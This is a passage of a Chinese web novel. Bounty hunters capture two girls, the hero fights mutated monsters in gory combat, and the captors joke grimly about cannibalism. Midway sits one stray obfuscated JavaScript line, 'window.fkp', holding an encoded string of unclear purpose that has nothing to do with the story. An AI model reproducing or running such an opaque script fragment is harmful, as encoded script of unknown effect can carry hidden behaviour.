此时有四只比这个野兽要小一点的野兽从树林中冲了出来,这四只野兽对比之前出来的那只要瘦小许多,显然之前出来的这只野兽是这四只野兽的首领。面对这五只野兽,伊和马婷婷的心里十分害怕与慌张,她们的实力压根对付不了这些野兽,她们在这些野兽面前只有被吃掉的份。这五只野兽一起对马婷婷和伊露出了獠牙,同时发出了低沉的吼声,这次的吼声不像是警告,而是像对猎物的嘲笑。马婷婷和伊的腿忍不住地开始发抖,她们能感觉到自己命不久矣。 伊和马婷婷吓得全身发抖。 伊: “马婷婷......我们......跑吧。” 马婷婷: “我觉得......行。” 其中一只野兽冲向了马婷婷和伊,两人见此想要转头逃跑,可是由于恐惧,两人压根没法移动自己的腿。就在这个危急时刻,一个红色的身影突然出现在了这只野兽的旁边,这个身影手中握着一把大镰刀,镰刀的刀尖已经对准了这只野兽的头。 “对不起,野兽先生。这个猎物......” 一道残影闪过,鲜血横飞。这只野兽的头被他整整齐齐地切了下来。 “是我们的。” 这个红色的身影以一个帅气的姿势落地,扛着手中那把沾了血的镰刀冲向了这些野兽。这些野兽见此准备发起进攻,可它们丝毫不知,有三个人拿着大剑的红衣人已经在它们身后做好了一击杀死它们的准备。随着几道残影闪过,空气之中瞬间多出了一种恶心的腥臭味与一团血雾,这几只野兽都齐刷刷地倒在了血泊之中。这四位红衣人对着这些已经死去的野兽补了几刀,防止出现没死透的这种情况。 这四个突然出现的红衣人着实让马婷婷和伊感到了意外,她们怎能想到在这个没有人存在的无人区内会有这种愿意帮助她们的人呢。在补完刀后,这几位红衣人拿着武器走向了马婷婷她们。马婷婷见此还保持着战斗的姿态,时刻做好应对突然战斗的准备。而伊就不一样了,她倒觉得这几个帮助她们的人一定是善良的,他们是不可能伤害她们的。 伊冲着他们几人露出微笑,并感谢道: “谢谢你们救了我们。” 这四位红衣人一听这话互相看了一眼,他们的眼神之中满是疑惑与不解。过了半秒,他们转过头来看着伊,丝毫没有在意旁边的马婷婷。伊这时浑然不知,危险正悄悄降临。 伊微笑着问他们几人: “对了,你们叫什么名字啊?” 对方其中一人冷冷地说: “你这家伙......” 马婷婷此刻注意到了他们红色衣服上的勋章,这个勋章的图案与样式让马婷婷想起了黑色星期三给她讲述的有关城市的消息,其中就有提到这个勋章的图案代表了什么。这个勋章上写着令马婷婷察觉到危险的三个字:红枫叶。 马婷婷这时察觉到危险,她急忙大喊道: “伊!快......” 还没等她说完,一只大手就捂住了她的嘴,紧接着一阵剧痛从后脑勺传来,她的视线渐渐模糊,在她晕倒之前,她看到的最后的画面就是两个红衣人捂着伊的嘴,把伊弄晕了过去,还有一个红衣人在一旁下命令。最后她的视线变得一片漆黑,她陷入了昏迷状态。在她意识消失的最后一刻,她能听到那几个红衣人在说一些有关于通缉令的话...... 不知过了多久...... 当她再次睁开眼睛的时候,她被关在一间很大的牢房之中。她试着动一动自己的手,可是她发现她的手被铁链给牢牢拴住了,她看了看自己身上,她发现自己身上的一切武器都被没收了,她现在完全没有任何的战斗能力。她看了看周围,发现这地面上除了一张简陋到不能再简陋的席子以外什么都没有。她试着挣脱锁链,但是无论她怎么挣扎,这个锁链依旧像之前一样牢固。此时在栏杆外的走廊之中传出了那些红衣人的交谈声,她挪了挪身子,靠在了栏杆边上仔细聆听着走廊之中的声音。 红衣人A: “该死的!这风暴怎么还他妈的在!” 红衣人b: “忍几天吧,过几天这风暴就过去了。” 红衣人c: “叶哥,我们的食物储备是撑不过这几天的。而且我们还要确保那个目标的存活,这样下去我们的食物会消耗很快的。” 叶哥: “实在不行,我们几个就把那些感染者的肉做成食物吃了得了。虽然吃起来很难吃以及恶心,但是总比饿死强。或者我们抓点鱼也可以,那些鱼总比感染者好吃一点。” 红衣人A: “叶哥,我建议把那个多出来的小女孩宰了当饭得了。” 马婷婷一听这话眼睛瞬间瞪大了,一想到自己要被做成食物,她浑身开始颤抖起来。 马婷婷心中: “什么?!把我做成食物?!这......” 红衣人b: “不行!她不能作为食物。看她这么可爱,她必须要给我当宠物。” 红衣人A: “当宠物?!你疯了!在这个饭都吃不饱的世界里你要养宠物?!你是真的有病。” 红衣人b: “养宠物怎么了?你之前还不是养了一只猎犬吗?” 叶哥: “别吵了!这个小孩我们先照顾着,万一她也在通缉令的范围之内呢?” 马婷婷一听这话,悬着的心放下了。 马婷婷: “呼......还好他们还有点良知。” 红衣人c: “叶哥,事不宜迟,我们几个先去抓点鱼吧。我觉得吃鱼总比吃感染者要强。” 叶哥: “好。——你们两个就负责看守那两个女的,我们两个去抓点鱼当做下午饭。” 红衣人A和b: “好。” 过了一会,那两个红衣人从走廊的另一头走向了马婷婷所在的牢房。马婷婷见此立马往牢房内挪了挪身子,假装自己没在偷听。这两个红衣人走到了马婷婷的牢房前,他们打开了牢门,走到了马婷婷的面前。当这两个红衣人走到近前时马婷婷才看清这两个红衣人的长相,他们都身披红色大衣,戴着一个红色的口罩,看起来神秘感十足。马婷婷仔细大量了一下这两人,她才注意到这两人是一男一女。她想开口说些什么,可没等她开口,那位女的红衣人就低下身来用手托住了她的下巴,并用一种诡异且温和的眼神打量了马婷婷一番。 红衣人b微笑着说: “哟,还挺可爱的。小朋友,你就给我当宠物吧,姐姐保证可以让你每天都过得好好的。等我们得到了那笔钱之后,姐姐就让你整日衣食无忧的活着,怎么样啊?小朋友?” 马婷婷现在格外的冷静,她思考了一下,现在如果说出她内心真实的想法一定会遭到毒打甚至被做成食物,所以她现在必须假装同意。 马婷婷很配合地说: “行,姐姐。” 红衣人b冲马婷婷笑笑,说: “真是听话呢。姐姐最喜欢你这样的小朋友了。” 红衣人A一脸嫌弃地说: “咦~恶心!” 红衣人b微笑着告诉他: “你不懂,这叫做情操。” 红衣人A不屑地说: “切!” 红衣人b笑着说: “而且你看她这么可爱,你真的忍心去吃了她吗?” 红衣人A: “你觉得命和一个可爱的小朋友哪个重要?我觉得吃了她倒没什么,毕竟那时候......——哎,说多了都是泪啊。” 与此同时...... 在一栋废弃了许久的监狱外,叶哥正带着那名红衣人在植物都枯萎了大半的密林之中穿梭着,他们的目的地是周围很近的一条小河,想要去那条河,他们必须绕远路从这片密林中到达那条河,不然他们就会命丧黄泉。他们四个人都知道如果不绕远路会遇到什么样的怪物,那种怪物完全不是他们能应付的了的。此时一阵寒风吹来,两人不禁哆嗦了一下。 此时那位红衣人注意到了密林之中的异样,他转头看去,发现一个发着金黄色光芒的光点正在树后看着他们。这位红衣人赶忙叫住了走在最前面的叶哥,叶哥停下步伐转头看向他,他用手指了指密林之中的黄色光点,叶哥向着他指的方向看去,他也看到了那个黄色的光点。 红衣人c不安地说: “叶哥!我感觉有东西盯上我们了。” 叶哥保持冷静,他告诉红衣人c: “现在不要管它,我们两个一直往前走,先去到河边要紧。那种生物我们从未见过,我们最好不要在这里停留,更不要与它战斗。不作死,就不会死。” 红衣人c点点头,说: “好吧,叶哥。我们继续前进吧。” 在那个黄色光点处,小鸟正站在这个光点的正上方看着这一切。小鸟的下方是一只毛色黝黑的怪异鸟类,这只鸟现在只睁开了他额头上一只眼睛,它还有四只眼睛还未睁开。它的翅膀很是强壮与巨大,而且翅尖的部分还有类似于手指的关节存在。它的脚很大,腿很粗壮,看起来不像是鸟类该有的大小。它的喙比一般的鸟类大上许多,而且比其他鸟类更尖,更锋利,它的喙中还有着一排如尖刺一般的利齿,看起来像一个怪物该有的东西。 小鸟: “大鸟,我们两个赶紧把此事告诉殇吧。不然时间久了,我怕伊会出什么事情。在这里我飞不高,也飞不快,就麻烦你这位老朋友驮着我去找殇吧。” 大鸟: “好吧,老东西。” 小鸟歪了歪头。 小鸟: “什么老东西,我还很年轻呢。没看我还是小鸟吗?” 大鸟: “哦,好吧,小东西。” 小鸟: “你......好吧,任你怎么叫吧。事不宜迟,快走吧。” 大鸟: “好嘞,哥。” 大鸟睁开了他剩下的四只眼睛,他的眼镜在黑暗之中发出了黄色的光芒,看起来很是渗人。他侦查了一下周围,然后一个冲刺向着密林另一边的海岸处跑去。 一个小时后..... 一群变异的渔民与一群变异的螃蟹一起扑向了殇,殇很轻蔑地耸了耸肩,他瞬间下压身体,做好姿势。等待片刻,他一跃而起跳到了空中,使这些进攻者扑了个空。 殇: “启动E协议。” 殇的身旁出现了之前那根大理石柱,只不过这会这根大理石柱的大小比上次要大上两倍,他在空中转体一周来到了这根大理石柱子上面。殇握紧双拳,高举双拳。 殇: “尝尝这个!吃我柱子哒!” 殇用力一砸,直接把这根柱子连同他一起砸向了地面上的怪物们,接着就是一幅极其血腥的场面,然后这些怪物都变成了肉饼与碎肉。此刻有几只野兽与变异的巨大蜜蜂向着殇冲了过来,它们张牙舞爪的,看样子是饿疯了。殇很轻蔑地摇了摇头,抄起旁边的一艘废弃渔船,他一跃而起举着这个渔船对准了这些怪物,然后用力一砸,这一下砸死了好几只野兽与蜜蜂,但是还有很多的幸存者。这些幸存者无畏地扑向了殇,殇瞬间挺直腰板,再次启动E协议,召唤出了EcL-183金色午夜的武器:两把割草镰刀。他双手握紧武器,一个侧闪双重下滑斩接三连斩解决了一只扑向他的野兽,同时更多野兽袭来。他面对野兽无所畏惧,他快速转身加连砍与侧身躲避又解决一只。他有些厌倦这样缓慢的战斗了,他要速战速决,他要认真起来了。 殇: “玩够了,是时候该送你们这些怪物下地狱了。” 这些野兽包围住了殇,准备一口气直接撕碎殇。它们信心十足,眼神之中满是自信,但它们殊不知它们眼前的人可是能让怪物都感到害怕的存在。这些怪物进攻了,他们以极快的速度冲向殇,并在没几步之后直接飞扑向殇,他们都伸出了自己的利爪,露出了自己的獠牙。那些在空中的蜜蜂也示弱,它们也露出了獠牙,而且还将自己尾部的蜂刺对准了殇,准备给殇致命一击。 面对此情此景,殇丝毫没有慌张,他以极快的速度汇聚核心能量,将大量的核心能量汇聚到了自己的右手,因此他右手的手心发出了耀眼的光芒,周围地上的石头开始向着空中缓缓上升。殇单膝跪地,高举右拳,对着地面狠狠来了一拳,同时他的腿部瞬间发力,他借着这股反冲力直接一跃而起飞到了半空之中。所有进攻他的怪物见到此景都用一种不可思议的眼神看着他,它们还能存在几秒世界观瞬间被殇刷新了。强大能量涌动在他的身上,这种能量使得地上的小石子也随着殇飞到了半空之中,其场面看起来十分壮观,此时的殇看起来十分的帅气与威武,就跟某位曾经英雄一样。 殇: “裂地猛冲!” 殇高举右拳,做好架势,在重力的作用下以极快的速度将这一拳砸在了地面上。这一下直接打碎周围的地面,无数的裂缝在地面上出现,巨大的冲击力直接将地面的碎块震飞到了空中,强大的冲击力直接将那些试着进攻他的怪物变成了血雾,就连空中飞着的那些蜜蜂也没能幸免。在这一拳之后,周围的怪物算是彻底被殇解决了,有些刚刚赶来的怪物看到殇的这一拳之后吓得直接掉头就跑,这是殇第二次让怪物感到恐惧了。 殇看了看周围,发现怪物都跑没了。 殇很不屑地说: “这......就没了?我还以为有很多呢。——这些怪物太菜了,一打死一片啊。没意思,真想跟强者切磋切磋啊......但那还是等我把伊送到目的地之后再说吧。” 此刻,大鸟驮着小鸟赶了过来。殇一看到大鸟以为是敌人,刚想抡起一旁的渔船,小鸟就突然站到了大鸟头上,殇一看是小鸟,就立刻放下了手中的渔船。 殇疑惑地问: “小鸟?你怎么在这个黑不拉几的大鸟头上?” 小鸟平和地回答: “这个......说来话长。对了,向你介绍一下,这是我的兄弟,他叫大鸟,是个很友善的动物。” 殇摸了摸下巴,打量了大鸟一番。 殇疑惑地说: “友善?可为什么我觉得他像敌人呢?长得这么难看,而且黑的跟碳似的,怎么看都像是敌人。” 大鸟生气地说: “你再骂!” 小鸟急忙插嘴终止话题,说起正事来。 小鸟: “先不管这个了。——我们找到伊她们了。” 殇这时才想起伊来。 殇: “啊,你不说我都把她们忘了!对了,她们现在在哪里?” 大鸟: “在一座东北边的废弃监狱里,由四个身份不明的红衣人看着。” 殇: “看样子是遇到抢人的了......” 小鸟: “事不宜迟,跟我们走,我们带你去找她们。” 殇: “好!我到要看看是那种货色敢跟老子抢人。” 说完,殇跟着大鸟向着在密林之中东北方向的废弃监狱赶了过去...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 青兰国—第二话:藏骨堂奇遇 不知过了多久,叶哥带着那个红衣人回到了他们临时的据点废弃监狱。此刻监狱外正下着淅淅沥沥的雨,天空中电闪雷鸣,仿佛是老天爷在向这片土地诉说着什么。叶哥和那个红衣人拿着刚刚从河里抓来的鱼走到了关押伊和马婷婷的那一层监狱,然后找个干净的地方把今天的收成放下,之后便招呼那两个红衣人准备生火。 叶哥大喊道: “卡特,安杰罗!今天的晚饭来了!赶紧过来帮忙生火。” 卡特和安杰罗回应道: “知道了,叶哥!” 随后他们在监狱之中升起了一团不大的篝火,他们以这团篝火所释放的热量与光芒作为他们的依靠。他们围坐在篝火旁烤着叶哥和那个红衣人弄来的鱼,他们知道这里的鱼不能吃,但是出于他们残存的最后一丝人性与他们的明天考虑,他们还是得吃下这些来自危险地带的水产。 卡特咬了一口手中的烤鱼,尝到滋味的瞬间皱起眉来,五官都凑到一块。 卡特: “嘶......这鱼的口感怎么怪怪的?吃起来就跟城市里的橡胶轮胎一样。” 安杰罗: “你就别挑剔了,能吃上一口食物都算是不错的了。这里可不是城市!” 卡特的表情显露出担忧。 卡特: “我老感觉这有些不妥。” 安杰罗还在意之前的事,于是就有些不耐烦。 安杰罗: “不妥?这总比吃了那个小朋友要好吧。” 卡特: “也是。” 刘(叶哥旁边的红衣人): “叶哥,我们是不是该去给那个目标送点东西吃?不然她在路上饿死了怎么办?” 叶哥: “对啊!你不说我都忘了,我们得给那两个家伙送点吃的。” 安杰罗得到机会,赶忙借这个话题来宣泄自己的不满。 安杰罗: “还要给那个小孩送吃的?叶哥,我们要带走的目标只有一个!那个小孩完全就是累赘。” 卡特: “怎么说话呢?那是我的宠物!” 叶哥: “你们两个别吵了!在情况没确认清楚的时候这两人我们都要保护好,不然到时候我们就少拿一部分钱。多拿些,总比少拿些要强。” 叶哥站起身来,拿起了篝火上烤的滋滋作响的烤鱼,迈着大步走向了关押伊的那间这里最安全的监狱。通往关押伊的牢房的走廊很是寂静,这寂静寂静得有些吓人,让人很是不舒服。昏暗的光线从墙上的洞口照进走廊之中,许多的尘埃在光的照耀下在空气之中飘动着,看起来这里很久没人打扫了。曾经这里是关押许多罪犯的监狱,如今这里却成了空无一人的空牢。变成这样并不是所有囚犯都被释放了,而是本该在这里关押着的囚犯已经不在这里了。没人知道他们去了哪里,也许是死了,也许是逃出生天了。 此刻的伊正双目无神地看着天花板发呆,她一动也不动,远处看起来就跟一具尸体一样。叶哥走到了栏杆前喊了喊她,她没什么反应。叶哥又喊了一边,这时她才从发呆之中回过神来。伊转头看着他,她的眼神之中满是害怕与恐惧,她很怕眼前的红衣人会杀掉自己。她眼前的这个红衣人将手中的烤鱼顺着铁栏杆的缝隙给她递了过去,并且用着一种严肃之中有着一丝关心的眼神看着她,这让她既害怕又有些感动。 夜歌把手中的烤鱼递给伊。 叶哥: “吃吧,别饿死了。不然我们不好交差。” 伊微笑着接过烤鱼。 伊: “嗯。谢谢......” 听到伊这么说,叶哥有些不解。 叶哥: “你谢什么?我现在可是抓捕你的人,是你的敌人。” 伊坦然地一笑。 伊: “敌人?原来我们是敌人吗?对我来说,想杀我的都是我的敌人,可你只是来保护我的赏金猎人。” 叶哥: “真不知道你怎么想的......——你是真的这样......还是你只是伪善而已,就跟那些欺骗过我们的都市人一样。” 伊: “你怎么想,我就是什么样。” 叶哥: “这个样子......我是不是从哪里见过?” 此刻叶哥瞬间想起了许多年前的那一幕偶遇,那时他还是一名平凡的2阶都市猎人...... 他那时正在大街上低着头去思考接下来的战斗该怎么应对,他的心情很是焦躁与复杂,因为他即将面对的敌人跟自己的实力差不多,他很可能被对方杀死。像他这样的底层人民,被杀了也就是找个地方埋了的事,他们连一块属于他们的墓地都不陪拥有。城市之中喧闹的噪声吵得他没法思考,但他也不能张口抱怨,因为抱怨也没有什么用,没人会愿意为了他这个底层的尘埃而降低音量。 那时,那座城市还是嘈杂的。可如今,早已沦陷寂静。 与他同样平凡且不起眼的人组成的人流从他身边经过,各种负面情绪从他身旁如潮水一般流过,可他却丝毫不在意。各种痛苦的人从他的身旁默默地走过,他们不想分享痛苦,更不想让别人知道自己的痛苦,对于他来说,这些人只不过是一粒沙漠之中的沙子罢了。灰色的城市之中人流如潮水一般流动,人们又如无数条血管之中的血液一样流动,不是他们想动,而是事实逼着他们动。他早已习惯了城市之中的灰色秩序,所以他便不再会抱怨与苦恼现实的种种不幸了。 此时,一位抱着孩子的年轻母亲与他撞到了一起,他被撞得后退了几步,然后他停下来很生气地看着眼前这位抱着孩子母亲。他刚想大声辱骂这位抱着孩子的母亲,没想到这位母亲先开口了。 那位母亲很愧疚地说: “对不起,先生。很抱歉撞到你了。” 他一听这位母亲这么说,他也不好意思去大声辱骂这位母亲了,更何况这位母亲怀中还抱着一个正在熟睡的孩子。他只是低声简单的骂了两句,以表自己心中的不满。 叶哥有些生气地说: “你这女人走路时长点眼睛!下次再撞到我有你好果子吃的!” 那位母亲十分愧疚地点了点头,说: “十分抱歉......我不该撞你的。” 说完她便抱着孩子从叶哥身旁走过去了,叶哥本不想回头的,可他不知为何回头看了一眼这个抱着孩子的母亲。他的眼神之中满是疑惑与不解,他不知道为什么在这个人与人之间只有杀与被杀的关系的都市之中会有一位以善良对待他人的人。 不知为何,他能从那位母亲的眼神之中感受到一种他从未感受到的温暖,这种温暖......就像是在漫漫寒夜中一团能融化寒冰的烈火。 他不会忘记那位母亲的眼神与样子,他记这个记得比其他的东西还要清楚,因为这是他难得从他人那里感受到了温暖。那位母亲的名字他不知道,但是他知道那位母亲那种独特的眼神,这种眼神就跟眼前周围名叫伊的目标一模一样。当他回过神来的时候,伊正在吃着那条他递过去的烤鱼,而且这条烤鱼已经被伊咬了两三口了。 叶哥若有所思地想道: “像......你很像一个人。虽然这个人的名字我说不出来,但是我记得她的眼神。不知为何,伊的眼神跟她一模一样。也许她们两个是一个人,又或者她只是另一个跟她有着同样善良之心的一个陌生人罢了。” 一码归一码,任务还得继续。 叶哥: “你给我在这待好了!别试着逃跑。告诉你,没人能救得了你。” 伊点了点头。 伊: “嗯。” 叶哥: “我这么说你不害怕吗?” 伊摇了摇头。 伊: “不,我一点都不害怕。” 叶哥: “哎,真搞不懂你啊......” 叶哥转身回到了篝火的旁边又烤了一条鱼,接着给马婷婷送过去了。他倒没跟马婷婷闲聊,他只是把东西送过去然后就回到了篝火旁与其他人共度晚餐。在他们共度晚餐的时候,他们无意之中聊起了各自的过去。他们四个刚刚组成这个小团体不久,他们对各自的了解还少之又少。在这个话题聊开后,每个人轮流讲述自己的往事,每个人讲述的故事都是一段悲惨的故事,大体都是讲述他们的种种悲惨遭遇与受到各种的苦难。在听完各自的故事之后,他们几个看待彼此的眼神都略微发生了一点改变,也许是可怜彼此,又或者只是同病相怜而已。 与此同时...... 殇正在密林之中寻找着那个前往小鸟口中所谓的废弃监狱的道路,密林中有着许多仍然长着叶子的树,这些树很密集,很阻挡视野,这让殇十分苦恼。幸亏他的身旁有着一个知晓岛上全部道路的向导大鸟告诉他路具体该往那个方向走,不然他这个路痴压根就找不到所谓路。殇在大鸟的多次指引下成功离开了密林,来到了一处分岔路口。左边和右边的路看起来都差不多,都是通往山顶的道路。这让殇这个路痴犯了难,他思索了一会,根据男左女右的法则走了左边的那条路。由于殇在密林之中按照大鸟的指引也能走错路,所以殇带着他来到了一处连他也不知道地方,这就导致了大鸟压根就不认得这里的路。不得不说,殇这么大个人还分不清东南西北以及左右。 在往山顶走了一段时间之后,天空中的雷声越来越大,并且雨越下越大,这让殇察觉到了一丝不对劲,但是他懒得往回走了。狂风呼啸,暴雨倾盆而下,天空中雷声滚滚,一场规模巨大的风暴正在肆虐着这片土地。当殇来到半山腰的时候,他走得有些累了,便找了块挡雨的石头靠着歇一会。他转头看向了远方,此刻海面上升起了一层朦胧的薄雾,让人看不清海面上的一切。此刻他注意到了海边的那片大沙地,那片沙地上有着许多艘已经荒废了很久的渔船,这些渔船不知为何都搁浅在了这片沙地上,也许是遇到了风暴,也许是遇到了什么灾难。殇,他有些难过,他也许猜到了那片沙地上发生的故事,因为他在岸边醒来时看到了其中一艘渔船上令他难忘的一幕。 几个化成了白骨的渔民正靠在渔船里“休息”,其中一位还拿着一张已经腐烂了一半的地图,地图上还有着一个巨大的红叉,看样子那是他们的目的地。渔船内的小桌上有着一封给远方家人的信,虽然字迹已经模糊到不能再辨认,但是它所蕴含的具体意义殇是可以看出来的。那是对家人的思念以及愧疚和遗憾,那是这些渔民生前所盼望的、所希望的、所珍视的东西...... 殇叹了口气,说: “哎......安息吧。” 他凝望着那片沙地,他的大脑中回想起了一个曾经从书上看到过的成语,此刻用来形容那片沙地在合适不过了。那便是:被弃者的沙滩。这个词曾经是一部由知名大作家写的作品的名字,那个故事讲述的是一个隐居在世界之外的孤独之人的快乐生活。可眼前,这个词只能用来形容眼前这片希望与绝望共存的沙滩。 殇又叹了口气,说: “哎,想必那些渔民曾经是想通过这片沙滩来逃离这个岛屿吧。可是他们最后却失败了,最后只剩下了这一幕悲凉的景象。这场疫病真的毁掉了太多了,太多无辜的人死去了。” 殇闭眼思考了一会,说: “想当初,这里可是鲜花盛开,鸟语花香,人民安居乐业的天府之国啊。可现在......只有死一般的寂静了,就跟那种景象从未存在过一样。真是令人惋惜。” 殇在短暂休息之后便继续向山顶走去。雨点打在他的身上,飓风吹在他的身上。他的身影在雨中十分清晰,与周围的一切都格格不入。在他来到山顶之后,他看到了这周围的全部景象。 密林遮盖了这周围的山体,让大山变得郁郁葱葱的,但是这一抹绿色其中还有着许多的畸变与腐化。远处还有着一个巨大的高塔,高塔之下是一座巨大城市,城市之中黯淡无光,很显然没有人居住在那里,又或者说他们躲在了黑暗之中。再往远了看,就是青兰国国王的皇宫,虽然它的影子在雨中很是模糊,但是这依旧改变不了它看上去十分壮观的事实。往近了看,就是殇一直在寻找的废弃监狱,它就在山脚下静静地矗立着。 殇看了看周围,他惊奇地发现想要下山去那个废弃监狱只能走过一段充满阻碍的山脊,山脊上插满了避雷针,看起来十分的危险,正常人看一眼绝对会绕路,可是我们的殇可不是平凡人,他毅然决然选择了走这条山脊下山。 殇露出自信的微笑,说: “真男人就是要挑战极限!只要我一直前进,就没什么能阻挡我前进。” 天空中雷声大作,这似乎是在警告殇,但是殇没有理会这雷声,他依旧在前进着。狂风十分用力地推着殇的身体,试着把殇推回去,但是殇使出了比风更大力气前进,他依旧在前进着。雨点无力地拍打着殇的身体,试着用这无力的攻击让殇停下,但他依旧在前进着。此刻一道闪电劈在了山脊之上的避雷针上,这仿佛是老天爷在威胁殇,但他只是轻蔑地笑了笑,然后对着天空中竖起了中指。 此刻有好几道闪电劈在了山脊之上的避雷针上,似乎是殇惹怒了众神,但是即使这样,殇也依旧在前进。此时一根长相奇特的避雷针吸引了殇的注意力,这根避雷针看起来跟其他的避雷针不一样,这根避雷针是一把双头长柄斧,看起来十分的帅气。殇走到这根避雷针面前打量了一番,他觉得用这根避雷针作为武器是个很不错的注意,正好他也用惯了大理石柱子。 殇: “看样子又有一把新玩具可以当做武器来用了。” 殇拔出了这根避雷针,这根避雷针的重量很重,但是对于殇来说却是刚刚好。就在他拔出避雷针的瞬间,他的核心闪烁了一下。他注意到了这个细节,他立刻查看了一下他的EcL目录。他很惊奇地发现这把避雷针竟然被核心感染了,而且感染程度还很严重,但是它没有编号。殇想了想,给他编了个编号,然后计入了自己的EcL目录之中。他试着变一根避雷针出来,可是他的核心提醒他该举动是无效的,这就证明这根避雷针是独一无二的,就跟之前他那把忘记扫描的生或死一样。 殇简单地耍了一下,手感甚是不错。殇情不自禁地竖了个大拇指表示赞扬。 殇: “看样子这把武器还很好用。看样子这算是个正常的武器了。不知道它强度如何......到时候找那些绿毛怪试一试就知道了。” 殇背起这把避雷针继续向着山下走去,此刻一道闪电劈中了他背后的避雷针,殇没被闪电劈死,他毫发无损。殇拿起背上的避雷针挥了一下,许多道闪电光束在挥的那一刻涌动在避雷针上。 殇惊喜地说: “哦?想不到这东西还有这种能力。看样子,可以让那些敌人体验一下雷电法王的厉害了。顺带一提,我好像从未使用过能放电的武器。” 殇背起避雷针一路走到了山下的密林之中。这是殇最不愿意走的一段路,因为他是个路痴,他容易迷路。但好在监狱就在他的前方,他只要一直往前走就可以到达目的地,而且大鸟和小鸟就在他的身旁。等等......他们两个去哪里了?殇看了看周围,他发现那两只鸟消失了,他满脸的疑惑与不解。 殇: “诶?那俩鸟呢?怎么转眼的功夫就消失了?” 殇看了看周围,确认那两只鸟已经消失得无影无踪了。殇无奈地耸了耸肩。 殇: “管他呢?反正我自己一个人也行的。” 殇很自信地迈着大步向着密林深处走去。走了一会后,他闻到了一种极其难闻的腐臭味,这种腐臭味就跟尸体腐烂了许多天一样。他掐着鼻子低着头继续前进,又过了一会,他注意到周围的地面变成了紫色,他抬起头来看向周围,他发现他的不远处有着一个巨大紫色球体,这个紫色的球体周围有着许多个正在飞的小蜜蜂。 殇: “那是......蜂巢吗?” 这时,殇突然意识到了一个大问题。 殇: “看起来真恶心。话说,这东西是不是挡在了我前往目的地的道路上?我是绕道走呢......还是直接传过去呢?” 就在殇思考的时候,殇突然意识到现在已经是黄昏时分了,他不知道在密林之中与那座山上浪费了多少时间,反正现在夜幕即将降临了,他必须先找个地方歇脚,不然在黑夜中赶路将是十分危险的。他虽然很不情愿,但是迫于能安全救出伊的想法,他还是委屈了一下自己的战斗之心,找了一个还算安全的地方歇脚。他盖起了一个简易的木头帐篷来挡雨,他升起了一个火堆来温暖自己并用它作为自己庇护所的信标。在做好这一切之后,他采了些蘑菇做成了晚饭,然后靠着帐篷睡着了。 与此同时...... 马婷婷在半夜因为一个噩梦惊醒了过来,她看了看周围,发现周围一片漆黑,只有从走廊窗口透过来的一丝丝光芒还能依稀辨认。 马婷婷心里: “太好了,现在这里一片漆黑,他们一定看不到我......是时候逃离这个地方了。” 她在黑暗之中摸索了一会,她从牢房的墙角之中摸出了一个很粗糙的刀片,她不知道这个东西具体是个什么东西,但是她还是一把拿起了这个刀片。她摸索着找到了拴着自己的那根铁链,又摸索着找到了铁链另一头的铁栏杆。她用手轻轻握住了这根铁栏杆,她摸到了许多铁锈,她又用手摸了摸拴住自己的那根铁链,她发现这根铁链比那根铁栏杆要粗上许多。 马婷婷心里: “看样子是不能通过切断铁链来逃跑了......那就切断那根铁栏杆吧。” 她用手把这些铁锈一一撕下,然后用这个刀片小心翼翼地摩擦着这根铁栏杆,在她摩擦了不知多久后,她的手的酸了,但好在她成功磨断了这根铁栏杆。她用手抓住铁栏杆切口的上端,然后小心翼翼地往上一拉,她成功把这根生锈的铁栏杆弄出了一个不大的缝隙,这个缝隙正好使她把铁链的另一头从铁栏杆上卸了下来。 马婷婷心里: “呼~终于弄下来了,接下来就是想着怎么逃离这里就行了。” 马婷婷在黑暗中摸索一下,她发现如果这道裂缝的开口足够大,她就可以侧身从她打开的那个裂缝钻出去。所以她继续去掰那根生锈的铁栏杆,在掰了不知多久后,她掰开了一个可以让她侧身钻出去的裂缝,然后侧身钻了出去。她在走廊之中小心翼翼地行走着,她每一步都走得格外谨慎,因为那怕是一点声音都有可能唤醒那些熟睡的红衣人。在她在黑暗之中走了不知多久后,她被一个铁链绊倒了,接着她就从台阶上摔下去了。 在一阵剧痛之后,她的眼前不再是一望无际的黑暗,而是比黑暗更加令她害怕的暗红色。她缓缓从地上站了起来,一阵剧烈的疼痛从她的右臂处传来,她看了看自己右臂,她发现自己的右臂上的衣物已经被鲜血染红了。 马婷婷咬着牙,痛苦地说: “嘶......该死的,我的右臂......不管了,继续前进吧。无论如何先活着逃出这里。” 她顾不得伤痛,继续在这个有着昏暗红光的地方前进,试着寻找到出路。她的眼角不知何时流下了两行泪水,也许是这伤痛所致吧。她忍着剧痛向着这条路的尽头行走着,周围的空气之中开始弥漫一种灰尘,幸亏她戴了一层口罩,不然她肯定会感到呼吸困难的。此时,一扇微微打开的大铁门出现在她的面前,她想都没想就直接侧身从门缝钻进了这扇铁门之后。在来到了这扇铁门之后的空间后,空气中弥漫着灰尘变多了,而且还有一中焦味也弥漫在空气之中。在她走到一处通往内部的大桥入口时,一幅令她一生难忘的景象出现在她的眼前。 密密麻麻的烧焦尸骨如山一样堆积在大桥之下的空地上,在这些烧焦的尸山之中,有着几台提取尸体中某种神秘物质的机器正在工作。无数尸骨被这些机器吸入,碾成碎末,榨取精华,最后化作一团骨灰混合物被无情地喷射出去,看起来格外地让人毛骨悚然。这些机器的工作效率极慢,每次它们需要消耗大量的时间去处理这些烧焦的尸骨,因此这里还有这么多未被处理的尸骨。最让人毛骨悚然的,还是那些从机器里出来的神秘物质。这种物质有一部分会被一根运输管道运向深处的空间,还有一部分将会被另一根输送管道输送到最近的一台发电机内为这几台机器提供能量。 马婷婷一脸惊恐的样子。 马婷婷: “这......这是什么?” 马婷婷此刻突然感到十分恶心,她直接把胃里的东西全部吐了出来。她这辈子从未见过如此令她作呕的景象,甚至都未想过它能真实存在。 马婷婷擦了擦嘴,此刻她的表情很是难看。 马婷婷: “这比我见过最恶心的东西还要恶心几万倍!” 